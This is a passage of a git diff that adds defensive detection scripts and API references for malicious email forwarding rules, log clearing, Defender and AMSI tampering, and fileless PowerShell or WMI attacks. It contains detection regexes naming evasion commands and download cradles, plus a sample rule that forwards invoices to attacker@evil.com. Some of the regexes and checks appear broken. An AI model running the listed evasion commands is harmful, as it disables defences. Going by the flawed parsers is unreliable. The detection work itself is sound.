datetime.utcnow().isoformat() + "Z", + "total_queries_analyzed": len(queries), + "findings": findings, + "total_findings": len(findings), + } + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-email-forwarding-rules-attack/LICENSE b/skills/detecting-email-forwarding-rules-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-email-forwarding-rules-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-email-forwarding-rules-attack/references/api-reference.md b/skills/detecting-email-forwarding-rules-attack/references/api-reference.md new file mode 100644 index 00000000..49b0ad80 --- /dev/null +++ b/skills/detecting-email-forwarding-rules-attack/references/api-reference.md @@ -0,0 +1,65 @@ +# API Reference: Detecting Email Forwarding Rules Attack + +## Microsoft Graph API - Inbox Rules + +```http +GET https://graph.microsoft.com/v1.0/users/{user-id}/mailFolders/inbox/messageRules +Authorization: Bearer {token} + +# Response +{ + "value": [ + { + "displayName": "Forward invoices", + "isEnabled": true, + "conditions": {"subjectContains": ["invoice", "payment"]}, + "actions": { + "forwardTo": [{"emailAddress": {"address": "attacker@evil.com"}}], + "delete": true, + "markAsRead": true + } + } + ] +} +``` + +## Exchange Online PowerShell + +```powershell +# List all inbox rules for a user +Get-InboxRule -Mailbox user@company.com | FL Name, ForwardTo, RedirectTo, DeleteMessage + +# Find forwarding rules across all mailboxes +Get-Mailbox -ResultSize Unlimited | ForEach-Object { + Get-InboxRule -Mailbox $_.UserPrincipalName | + Where-Object { $_.ForwardTo -or $_.RedirectTo } +} + +# Search unified audit log for rule creation +Search-UnifiedAuditLog -Operations "New-InboxRule","Set-InboxRule" -StartDate (Get-Date).AddDays(-30) +``` + +## Suspicious Rule Indicators + +| Indicator | Severity | Description | +|-----------|----------|-------------| +| External forwarding | HIGH | Forwards to non-org domain | +| Forward + delete | CRITICAL | Forwards then deletes original | +| Financial keywords | HIGH | Targets invoice/payment subjects | +| Forward + mark read | HIGH | Hides forwarded messages | +| Move to RSS/Junk | MEDIUM | Hides messages in unused folders | + +## Splunk SPL Detection + +```spl +index=o365 Operation IN ("New-InboxRule", "Set-InboxRule") +| spath output=forward path=Parameters{}.Value +| where isnotnull(forward) AND NOT match(forward, "@company\\.com") +``` + +## CLI Usage + +```bash +python agent.py --token "eyJ..." --user-id user@company.com --org-domain company.com +python agent.py --audit-log exchange_audit.log +``` diff --git a/skills/detecting-email-forwarding-rules-attack/scripts/agent.py b/skills/detecting-email-forwarding-rules-attack/scripts/agent.py new file mode 100644 index 00000000..6da2fd0a --- /dev/null +++ b/skills/detecting-email-forwarding-rules-attack/scripts/agent.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +"""Email forwarding rules attack detection agent. + +Detects malicious inbox rules created by adversaries for persistent +email access (T1114.003) by querying Microsoft Graph API and analyzing +audit logs for suspicious rule creation patterns. +""" + +import argparse +import json +import re +import sys +from datetime import datetime + +try: + import requests +except ImportError: + print("Install requests: pip install requests") + sys.exit(1) + +SUSPICIOUS_RULE_PATTERNS = { + "forward_external": {"severity": "HIGH", "desc": "Rule forwards to external domain"}, + "delete_after_forward": {"severity": "CRITICAL", "desc": "Rule deletes after forwarding"}, + "move_to_rss": {"severity": "HIGH", "desc": "Rule moves to RSS Feeds folder"}, + "move_to_junk": {"severity": "MEDIUM", "desc": "Rule moves to Junk folder"}, + "keyword_financial": {"severity": "HIGH", "desc": "Rule targets financial keywords"}, + "mark_as_read": {"severity": "MEDIUM", "desc": "Rule marks messages as read"}, +} + +FINANCIAL_KEYWORDS = ["invoice", "payment", "wire", "transfer", "bank", + "ach", "routing", "remittance", "purchase order"] + + +def get_mailbox_rules(token, user_id="me"): + url = f"https://graph.microsoft.com/v1.0/users/{user_id}/mailFolders/inbox/messageRules" + headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + try: + resp = requests.get(url, headers=headers, timeout=15) + if resp.status_code == 200: + return resp.json().get("value", []) + return {"error": f"HTTP {resp.status_code}: {resp.text[:200]}"} + except requests.RequestException as e: + return {"error": str(e)} + + +def analyze_rules(rules, org_domain=""): + findings = [] + for rule in rules: + if isinstance(rules, dict) and "error" in rules: + return [rules] + rule_name = rule.get("displayName", "") + actions = rule.get("actions", {}) + conditions = rule.get("conditions", {}) + is_enabled = rule.get("isEnabled", True) + + forward_to = actions.get("forwardTo", []) + redirect_to = actions.get("redirectTo", []) + delete = actions.get("delete", False) + move_folder = actions.get("moveToFolder", "") + mark_read = actions.get("markAsRead", False) + + all_forwards = forward_to + redirect_to + for fwd in all_forwards: + addr = fwd.get("emailAddress", {}).get("address", "") + if org_domain and addr and not addr.lower().endswith(f"@{org_domain.lower()}"): + severity = "CRITICAL" if delete else "HIGH" + findings.append({ + "rule_name": rule_name, + "type": "external_forwarding", + "forward_to": addr, + "delete_after": delete, + "is_enabled": is_enabled, + "severity": severity, + "mitre": "T1114.003", + }) + + subject_contains = conditions.get("subjectContains", []) + body_contains = conditions.get("bodyContains", []) + all_keywords = [k.lower() for k in subject_contains + body_contains] + matched_financial = [k for k in all_keywords if k in FINANCIAL_KEYWORDS] + if matched_financial and all_forwards: + findings.append({ + "rule_name": rule_name, + "type": "financial_keyword_forwarding", + "keywords": matched_financial, + "forward_to": [f.get("emailAddress", {}).get("address", "") for f in all_forwards], + "severity": "CRITICAL", + "mitre": "T1114.003", + }) + + if mark_read and all_forwards: + findings.append({ + "rule_name": rule_name, + "type": "silent_forwarding", + "mark_as_read": True, + "severity": "HIGH", + "description": "Rule forwards and marks as read to hide activity", + }) + + return findings + + +def parse_audit_log_for_rules(filepath): + findings = [] + with open(filepath, "r", encoding="utf-8", errors="replace") as f: + for line in f: + if "New-InboxRule" in line or "Set-InboxRule" in line: + forward = re.search(r'ForwardTo["\s:]+([^\s"]+@[^\s"]+)', line, re.IGNORECASE) + user = re.search(r'UserId["\s:]+([^\s"]+)', line, re.IGNORECASE) + findings.append({ + "type": "rule_creation_audit", + "command": "New-InboxRule" if "New-InboxRule" in line else "Set-InboxRule", + "user": user.group(1) if user else "", + "forward_to": forward.group(1) if forward else "", + "severity": "HIGH", + "raw": line.strip()[:300], + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Email Forwarding Rules Attack Detector") + parser.add_argument("--token", help="Microsoft Graph API bearer token") + parser.add_argument("--user-id", default="me", help="User ID or UPN") + parser.add_argument("--org-domain", default="", help="Organization email domain") + parser.add_argument("--audit-log", help="Exchange audit log file to parse") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.token: + rules = get_mailbox_rules(args.token, args.user_id) + if isinstance(rules, dict) and "error" in rules: + results["error"] = rules["error"] + else: + results["total_rules"] = len(rules) + findings = analyze_rules(rules, args.org_domain) + results["findings"].extend(findings) + + if args.audit_log: + audit_findings = parse_audit_log_for_rules(args.audit_log) + results["findings"].extend(audit_findings) + + results["total_findings"] = len(results["findings"]) + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-evasion-techniques-in-endpoint-logs/LICENSE b/skills/detecting-evasion-techniques-in-endpoint-logs/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-evasion-techniques-in-endpoint-logs/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md b/skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md new file mode 100644 index 00000000..1a541682 --- /dev/null +++ b/skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Detecting Evasion Techniques in Endpoint Logs + +## Key Windows Event IDs for Evasion + +| Event ID | Source | Evasion Technique | +|----------|--------|-------------------| +| 1102 | Security | Audit log cleared (T1070.001) | +| Sysmon 2 | Sysmon | Timestomping (T1070.006) | +| Sysmon 8 | Sysmon | CreateRemoteThread (T1055) | +| Sysmon 10 | Sysmon | Process Access / LSASS (T1003) | +| 4688 | Security | Process creation with cmdline | + +## python-evtx Usage + +```python +import Evtx.Evtx as evtx +with evtx.Evtx("Sysmon.evtx") as log: + for record in log.records(): + xml = record.xml() + # Parse EventID, CommandLine, SourceImage, TargetImage +``` + +## Evasion Detection Patterns + +```python +# Log clearing +r"wevtutil\s+(cl|clear-log)" +r"Clear-EventLog" +# Security tool disable +r"Set-MpPreference\s+-DisableRealtimeMonitoring\s+\$true" +r"sc\s+(stop|delete)\s+WinDefend" +# AMSI bypass +r"[Ref].Assembly.GetType.*AMSI" +r"amsiInitFailed" +``` + +## MITRE ATT&CK TA0005 Techniques + +| Technique | ID | Detection | +|-----------|----|-----------| +| Indicator Removal | T1070 | Log clearing, file deletion | +| Timestomping | T1070.006 | Sysmon Event ID 2 | +| Process Injection | T1055 | Sysmon Event ID 8 | +| Impair Defenses | T1562.001 | AV/EDR disabling commands | +| AMSI Bypass | T1562.001 | PowerShell AMSI patching | + +## Splunk SPL Detection + +```spl +index=sysmon (EventCode=2 OR EventCode=8 OR EventCode=10) +| eval technique=case( + EventCode=2, "Timestomping", + EventCode=8, "Process Injection", + EventCode=10, "Process Access") +| stats count by technique, SourceImage, Computer +``` + +## CLI Usage + +```bash +python agent.py --evtx-file Sysmon.evtx +python agent.py --evtx-file Security.evtx +``` diff --git a/skills/detecting-evasion-techniques-in-endpoint-logs/scripts/agent.py b/skills/detecting-evasion-techniques-in-endpoint-logs/scripts/agent.py new file mode 100644 index 00000000..41e767f2 --- /dev/null +++ b/skills/detecting-evasion-techniques-in-endpoint-logs/scripts/agent.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +"""Defense evasion detection agent for endpoint logs. + +Detects MITRE ATT&CK TA0005 evasion techniques including log clearing, +timestomping, process injection indicators, and security tool disabling +by analyzing Sysmon and Windows Security event logs. +""" + +import argparse +import json +import re +import sys +from datetime import datetime +from pathlib import Path + +try: + import Evtx.Evtx as evtx +except ImportError: + evtx = None + +EVASION_EVENT_IDS = { + 1102: {"name": "Audit Log Cleared", "severity": "CRITICAL", "mitre": "T1070.001"}, + 4688: {"name": "Process Creation", "severity": "INFO", "mitre": "T1059"}, + 4689: {"name": "Process Termination", "severity": "INFO", "mitre": ""}, +} + +SYSMON_EVASION_IDS = { + 1: "Process Create", + 2: "File creation time changed (Timestomping)", + 8: "CreateRemoteThread", + 10: "Process Access", + 12: "Registry Object Create/Delete", + 13: "Registry Value Set", +} + +TIMESTOMP_INDICATORS = [ + r"SetFileTime", r"timestomp", r"\$STANDARD_INFORMATION", + r"NtSetInformationFile", r"SetFileInformationByHandle", +] + +LOG_CLEARING_COMMANDS = [ + r"wevtutil\s+(cl|clear-log)", + r"Clear-EventLog", + r"Remove-EventLog", + r"del\s+.*\.evtx", + r"wmic\s+nteventlog.*clear", +] + +SECURITY_TOOL_DISABLE = [ + r"(Stop|Disable)-Service.*(Windows Defender|WinDefend|MsMpSvc)", + r"Set-MpPreference\s+-DisableRealtimeMonitoring\s+\$true", + r"sc\s+(stop|delete)\s+(WinDefend|MsMpSvc|Sense)", + r"netsh\s+advfirewall\s+set\s+.*state\s+off", + r"reg\s+add.*DisableAntiSpyware.*1", + r"taskkill.*/im\s+(MsMpEng|avp|avgui|mbam)", +] + +AMSI_BYPASS_PATTERNS = [ + r"amsi(Init|Scan)Buffer", + r"AmsiUtils", + r"amsiContext", + r"[Ref].Assembly.GetType.*AMSI", +] + + +def analyze_evtx_for_evasion(filepath): + if evtx is None: + return {"error": "python-evtx not installed: pip install python-evtx"} + findings = [] + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + event_id_match = re.search(r']*>(\d+)', xml) + if not event_id_match: + continue + event_id = int(event_id_match.group(1)) + time_match = re.search(r'SystemTime="([^"]+)"', xml) + timestamp = time_match.group(1) if time_match else "" + + if event_id == 1102: + findings.append({ + "event_id": 1102, "timestamp": timestamp, + "severity": "CRITICAL", "mitre": "T1070.001", + "description": "Security audit log was cleared", + }) + + if event_id == 2: + findings.append({ + "event_id": 2, "timestamp": timestamp, + "severity": "HIGH", "mitre": "T1070.006", + "description": "File creation time modified (timestomping)", + }) + + if event_id == 8: + source = re.search(r'([^<]+)', xml) + target = re.search(r'([^<]+)', xml) + findings.append({ + "event_id": 8, "timestamp": timestamp, + "source": source.group(1) if source else "", + "target": target.group(1) if target else "", + "severity": "HIGH", "mitre": "T1055", + "description": "CreateRemoteThread detected (process injection)", + }) + + if event_id in (1, 4688): + cmdline = re.search(r'([^<]+)', xml) + if not cmdline: + cmdline = re.search(r'([^<]+)', xml) + if cmdline: + cmd = cmdline.group(1) + for pattern in LOG_CLEARING_COMMANDS: + if re.search(pattern, cmd, re.IGNORECASE): + findings.append({ + "event_id": event_id, "timestamp": timestamp, + "command": cmd[:200], "severity": "CRITICAL", + "mitre": "T1070.001", + "description": "Log clearing command detected", + }) + for pattern in SECURITY_TOOL_DISABLE: + if re.search(pattern, cmd, re.IGNORECASE): + findings.append({ + "event_id": event_id, "timestamp": timestamp, + "command": cmd[:200], "severity": "CRITICAL", + "mitre": "T1562.001", + "description": "Security tool disabling detected", + }) + for pattern in AMSI_BYPASS_PATTERNS: + if re.search(pattern, cmd, re.IGNORECASE): + findings.append({ + "event_id": event_id, "timestamp": timestamp, + "command": cmd[:200], "severity": "HIGH", + "mitre": "T1562.001", + "description": "AMSI bypass attempt detected", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Defense Evasion Detector") + parser.add_argument("--evtx-file", required=True, help="EVTX file (Sysmon or Security)") + args = parser.parse_args() + + findings = analyze_evtx_for_evasion(args.evtx_file) + if isinstance(findings, dict) and "error" in findings: + results = findings + else: + results = { + "timestamp": datetime.utcnow().isoformat() + "Z", + "source_file": args.evtx_file, + "findings": findings, + "total_findings": len(findings), + "by_severity": {}, + } + for f in findings: + sev = f.get("severity", "UNKNOWN") + results["by_severity"][sev] = results["by_severity"].get(sev, 0) + 1 + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-fileless-attacks-on-endpoints/LICENSE b/skills/detecting-fileless-attacks-on-endpoints/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-fileless-attacks-on-endpoints/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md b/skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md new file mode 100644 index 00000000..9674efbd --- /dev/null +++ b/skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md @@ -0,0 +1,70 @@ +# API Reference: Detecting Fileless Attacks on Endpoints + +## Key Event Sources + +| Source | Event ID | Detection | +|--------|----------|-----------| +| PowerShell Script Block | 4104 | Malicious script content | +| Sysmon Process Create | 1 | Encoded command execution | +| Sysmon CreateRemoteThread | 8 | Reflective DLL injection | +| Sysmon WMI EventFilter | 19 | WMI persistence | +| Sysmon WMI EventConsumer | 20 | WMI persistence | +| Sysmon WMI Binding | 21 | WMI persistence | + +## python-evtx Usage + +```python +import Evtx.Evtx as evtx +with evtx.Evtx("PowerShell-Operational.evtx") as log: + for record in log.records(): + xml = record.xml() + # Parse Event 4104 ScriptBlockText +``` + +## Suspicious PowerShell Patterns + +```python +# Dynamic execution +r"Invoke-Expression|IEX\s*\(" +# Reflective loading +r"System\.Reflection\.Assembly.*Load" +# Memory injection APIs +r"VirtualAlloc|VirtualProtect|CreateThread" +# WMI persistence +r"Register-WMI|__EventFilter|__EventConsumer" +# Encoded commands +r"-enc\s|-encodedcommand\s" +``` + +## Splunk SPL - Fileless Detection + +```spl +index=powershell EventCode=4104 +| where match(ScriptBlockText, "(?i)(Invoke-Expression|IEX|VirtualAlloc|FromBase64)") +| stats count by ScriptBlockText, Computer, UserID +``` + +## AMSI (Anti-Malware Scan Interface) + +```powershell +# Enable AMSI logging +Set-MpPreference -EnableNetworkProtection Enabled +# Check AMSI status +Get-MpComputerStatus | Select AMServiceEnabled, AntispywareEnabled +``` + +## WMI Persistence Detection + +```powershell +# List WMI event subscriptions +Get-WMIObject -Namespace root\Subscription -Class __EventFilter +Get-WMIObject -Namespace root\Subscription -Class __EventConsumer +Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding +``` + +## CLI Usage + +```bash +python agent.py --ps-log PowerShell-Operational.evtx +python agent.py --sysmon-log Sysmon.evtx --check-wmi --check-injection +``` diff --git a/skills/detecting-fileless-attacks-on-endpoints/scripts/agent.py b/skills/detecting-fileless-attacks-on-endpoints/scripts/agent.py new file mode 100644 index 00000000..0869ae16 --- /dev/null +++ b/skills/detecting-fileless-attacks-on-endpoints/scripts/agent.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +"""Fileless attack detection agent for endpoint logs. + +Detects in-memory attacks by analyzing PowerShell script block logs (Event 4104), +WMI persistence events, and reflective DLL injection indicators from Sysmon. +""" + +import argparse +import json +import re +import sys +from datetime import datetime + +try: + import Evtx.Evtx as evtx +except ImportError: + evtx = None + +SUSPICIOUS_PS_PATTERNS = { + r"Invoke-Expression|IEX\s*\(": ("T1059.001", "HIGH", "Dynamic code execution"), + r"Invoke-Mimikatz|Invoke-Kerberoast": ("T1003", "CRITICAL", "Credential tool"), + r"System\.Reflection\.Assembly.*Load": ("T1620", "HIGH", "Reflective assembly load"), + r"Net\.WebClient.*Download(String|Data|File)": ("T1105", "HIGH", "Remote download"), + r"FromBase64String|Convert.*Base64": ("T1140", "MEDIUM", "Base64 decode"), + r"VirtualAlloc|VirtualProtect|CreateThread": ("T1055", "CRITICAL", "Memory injection APIs"), + r"New-Object.*IO\.MemoryStream": ("T1620", "HIGH", "In-memory stream"), + r"-enc\s|-encodedcommand\s": ("T1027", "HIGH", "Encoded PowerShell"), + r"Invoke-Shellcode|Invoke-ReflectivePEInjection": ("T1055", "CRITICAL", "Injection framework"), + r"Win32_Process.*Create|WMI.*Process": ("T1047", "HIGH", "WMI process creation"), + r"Register-WMI|__EventFilter|__EventConsumer": ("T1546.003", "CRITICAL", "WMI persistence"), + r"HKCU:\\.*\\Run|HKLM:\\.*\\Run": ("T1547.001", "HIGH", "Registry run key"), + r"Add-MpPreference.*ExclusionPath": ("T1562.001", "HIGH", "Defender exclusion"), +} + +WMI_PERSISTENCE_EVENTS = { + 19: "WMI EventFilter created", + 20: "WMI EventConsumer created", + 21: "WMI EventConsumerToFilter binding", +} + + +def parse_powershell_scriptblock(filepath): + if evtx is None: + return {"error": "python-evtx not installed: pip install python-evtx"} + findings = [] + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + if "4104" not in xml: + continue + script_block = re.search(r'([^<]+)', xml) + if not script_block: + continue + script = script_block.group(1) + time_match = re.search(r'SystemTime="([^"]+)"', xml) + + for pattern, (mitre, severity, desc) in SUSPICIOUS_PS_PATTERNS.items(): + if re.search(pattern, script, re.IGNORECASE): + findings.append({ + "event_id": 4104, + "timestamp": time_match.group(1) if time_match else "", + "pattern": desc, + "mitre": mitre, + "severity": severity, + "script_excerpt": script[:300], + }) + return findings + + +def parse_sysmon_wmi_persistence(filepath): + if evtx is None: + return {"error": "python-evtx not installed"} + findings = [] + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + event_id_match = re.search(r']*>(\d+)', xml) + if not event_id_match: + continue + event_id = int(event_id_match.group(1)) + if event_id not in WMI_PERSISTENCE_EVENTS: + continue + time_match = re.search(r'SystemTime="([^"]+)"', xml) + name = re.search(r'([^<]+)', xml) + operation = re.search(r'([^<]+)', xml) + consumer = re.search(r'([^<]+)', xml) + user = re.search(r'([^<]+)', xml) + + findings.append({ + "event_id": event_id, + "type": WMI_PERSISTENCE_EVENTS[event_id], + "timestamp": time_match.group(1) if time_match else "", + "name": name.group(1) if name else "", + "operation": operation.group(1) if operation else "", + "destination": consumer.group(1) if consumer else "", + "user": user.group(1) if user else "", + "severity": "CRITICAL", + "mitre": "T1546.003", + }) + return findings + + +def parse_sysmon_injection(filepath): + if evtx is None: + return {"error": "python-evtx not installed"} + findings = [] + with evtx.Evtx(filepath) as log: + for record in log.records(): + xml = record.xml() + if "8" not in xml: + continue + source = re.search(r'([^<]+)', xml) + target = re.search(r'([^<]+)', xml) + time_match = re.search(r'SystemTime="([^"]+)"', xml) + + findings.append({ + "event_id": 8, + "timestamp": time_match.group(1) if time_match else "", + "source_image": source.group(1) if source else "", + "target_image": target.group(1) if target else "", + "severity": "HIGH", + "mitre": "T1055", + "description": "CreateRemoteThread - possible reflective injection", + }) + return findings + + +def main(): + parser = argparse.ArgumentParser(description="Fileless Attack Detector") + parser.add_argument("--ps-log", help="PowerShell EVTX file (Event 4104)") + parser.add_argument("--sysmon-log", help="Sysmon EVTX file") + parser.add_argument("--check-wmi", action="store_true", help="Check WMI persistence") + parser.add_argument("--check-injection", action="store_true", help="Check injection") + args = parser.parse_args() + + results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []} + + if args.ps_log: + ps = parse_powershell_scriptblock(args.ps_log) + if isinstance(ps, dict) and "error" in ps: + results["error"] = ps["error"] + else: + results["findings"].extend(ps) + + if args.sysmon_log and args.check_wmi: + wmi = parse_sysmon_wmi_persistence(args.sysmon_log) + if not isinstance(wmi, dict): + results["findings"].extend(wmi) + + if args.sysmon_log and args.check_injection: + inj = parse_sysmon_injection(args.sysmon_log) + if not isinstance(inj, dict): + results["findings"].extend(inj) + + results["total_findings"] = len(results["findings"]) + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-fileless-malware-techniques/LICENSE b/skills/detecting-fileless-malware-techniques/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-fileless-malware-techniques/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-fileless-malware-techniques/references/api-reference.md b/skills/detecting-fileless-malware-techniques/references/api-reference.md new file mode 100644 index 00000000..02a216a2 --- /dev/null +++ b/skills/detecting-fileless-malware-techniques/references/api-reference.md @@ -0,0 +1,81 @@ +# Fileless Malware Detection API Reference + +## Windows Event IDs for Fileless Detection + +| Event ID | Log | Description | +|----------|-----|-------------| +| 4104 | PowerShell Operational | Script Block Logging (full script content) | +| 4103 | PowerShell Operational | Module Logging | +| 1 | Sysmon | Process Creation with command line | +| 8 | Sysmon | CreateRemoteThread (injection) | +| 10 | Sysmon | ProcessAccess (injection prep) | +| 19/20/21 | Sysmon | WMI Event Filter/Consumer/Binding | +| 7045 | System | New service installed | + +## python-evtx - Parse Windows Event Logs + +```python +import Evtx.Evtx as evtx + +with evtx.Evtx("Security.evtx") as log: + for record in log.records(): + xml = record.xml() + if "4104" in xml: + print(record.timestamp(), xml[:500]) +``` + +## Volatility 3 Commands + +```bash +# Detect injected code (RWX memory, PE headers in non-image VADs) +vol3 -f memory.dmp windows.malfind + +# List processes +vol3 -f memory.dmp windows.pslist + +# Scan for hidden processes +vol3 -f memory.dmp windows.psscan + +# List loaded DLLs +vol3 -f memory.dmp windows.dlllist --pid 1234 + +# Extract injected code +vol3 -f memory.dmp windows.malfind --dump --pid 1234 +``` + +## LOLBins Detection Patterns (Sysmon) + +```xml + + + + mshta.exe + regsvr32.exe + certutil.exe + wmic.exe + cmstp.exe + msbuild.exe + + +``` + +## Suspicious PowerShell Indicators + +``` +-enc / -EncodedCommand → Base64-encoded command +IEX / Invoke-Expression → Dynamic code execution +Net.WebClient → Download cradle +DownloadString() → Remote script fetch +Reflection.Assembly → Reflective .NET loading +VirtualAlloc → Shellcode allocation +FromBase64String → Payload decoding +``` + +## WMI Persistence Check + +```powershell +# List WMI event subscriptions +Get-WMIObject -Namespace root\Subscription -Class __EventFilter +Get-WMIObject -Namespace root\Subscription -Class __EventConsumer +Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding +``` diff --git a/skills/detecting-fileless-malware-techniques/scripts/agent.py b/skills/detecting-fileless-malware-techniques/scripts/agent.py new file mode 100644 index 00000000..31443db7 --- /dev/null +++ b/skills/detecting-fileless-malware-techniques/scripts/agent.py @@ -0,0 +1,207 @@ +#!/usr/bin/env python3 +"""Fileless malware detection agent using Windows event logs and Volatility.""" + +import json +import os +import re +import subprocess +import sys +from datetime import datetime +from pathlib import Path + +try: + import Evtx.Evtx as evtx + import Evtx.Views as evtx_views + HAS_EVTX = True +except ImportError: + HAS_EVTX = False + + +LOLBINS = { + "mshta.exe": {"risk": "HIGH", "usage": "Execute HTA with embedded VBScript/JScript"}, + "regsvr32.exe": {"risk": "HIGH", "usage": "Proxy execution via COM scriptlets"}, + "rundll32.exe": {"risk": "HIGH", "usage": "Execute DLL exports or JavaScript"}, + "certutil.exe": {"risk": "HIGH", "usage": "Download files, decode base64 payloads"}, + "bitsadmin.exe": {"risk": "MEDIUM", "usage": "Download files via BITS service"}, + "wmic.exe": {"risk": "HIGH", "usage": "Remote execution, XSL script processing"}, + "cmstp.exe": {"risk": "HIGH", "usage": "UAC bypass, COM object registration"}, + "msbuild.exe": {"risk": "HIGH", "usage": "Execute inline C# tasks from XML"}, + "installutil.exe": {"risk": "MEDIUM", "usage": "Execute .NET assemblies"}, + "regasm.exe": {"risk": "MEDIUM", "usage": "Execute .NET COM assemblies"}, + "powershell.exe": {"risk": "CONTEXT", "usage": "Script execution, download cradle"}, + "cmd.exe": {"risk": "CONTEXT", "usage": "Command execution, script chaining"}, + "wscript.exe": {"risk": "MEDIUM", "usage": "Execute VBScript/JScript files"}, + "cscript.exe": {"risk": "MEDIUM", "usage": "Execute VBScript/JScript files"}, +} + +SUSPICIOUS_PS_PATTERNS = [ + (r'-enc\s', "Encoded command execution"), + 